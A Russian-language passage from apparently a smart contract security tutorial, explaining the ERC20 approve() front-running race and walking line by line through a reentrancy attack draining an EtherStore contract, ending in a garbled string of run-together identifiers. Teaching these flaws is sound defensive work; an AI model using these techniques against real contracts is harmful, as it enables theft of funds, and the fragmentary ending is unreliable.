Эта функция позволяет пользователю разрешать другим пользователям переводить токены от его имени. Уязвимость фронтраннинга возникает в сценарии, когда пользователь, Алиса, *одобряет* своему другу `Bob` трату `100 токенов`. Позже Алиса решает, что хочет отозвать одобрение `Bob` на трату `100 токенов`, поэтому она создаёт транзакцию, которая устанавливает долю `Bob` в `50 токенов`. `Bob`, который внимательно следит за цепочкой, видит эту транзакцию и создаёт свою собственную транзакцию на трату `100 токенов`. Он устанавливает более высокий `gasPrice` для своей транзакции, чем у `Алисы`, и его транзакция получает приоритет перед её транзакцией. Некоторые реализации `approve()` могут позволить `Bob` перевести свои `100 токенов`, а затем, когда транзакция `Алисы` будет зафиксирована, сбросить одобрение `Bob` до `50 токенов`, фактически предоставляя `Bob` доступ к `150 токенам`. Стратегии смягчения этой атаки приведены [здесь](https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit) в документе, указанном выше.
Attack.sol - Строка [26] - Общий баланс контракта EtherStore составлял 10 ether и теперь равен 9 ether, поэтому этот оператор if проходит.
Attack.sol - Строка [27] - Затем fallback-функция снова вызывает функцию withdrawFunds() контракта EtherStore и "повторно входит" в контракт EtherStore.
EtherStore.sol - Строка [11] - При этом втором вызове withdrawFunds() наш баланс всё ещё равен 1 ether, поскольку строка [18] ещё не была выполнена. Таким образом, у нас по-прежнему balances[0x0..123] = 1 ether. Это также относится и к переменной lastWithdrawTime. Опять же, мы проходим все проверки.
EtherStore.sol - Строка [17] - Мы выводим ещё 1 ether.
Шаги 4-8 будут повторяться - пока EtherStore.balance >= 1, как предписывает строка [26] в Attack.sol.
Attack.sol - Строка [26] - Как только в контракте EtherStore останется меньше 1 (или меньше) эфира, этот оператор if завершится ошибкой. Это затем позволит выполнить строки [18] и [19] контракта EtherStore (для каждого вызова функции withdrawFunds()).
EtherStore.sol - Строки [18] и [19] - Будут установлены маппинги balances и lastWithdrawTime, и выполнение завершится.
startFibonacciBalancestartslot[1]fibonacci(n)fibonacciLibraryuintwithdraw()uint(fibonacciLibrary)calculatedFibNumber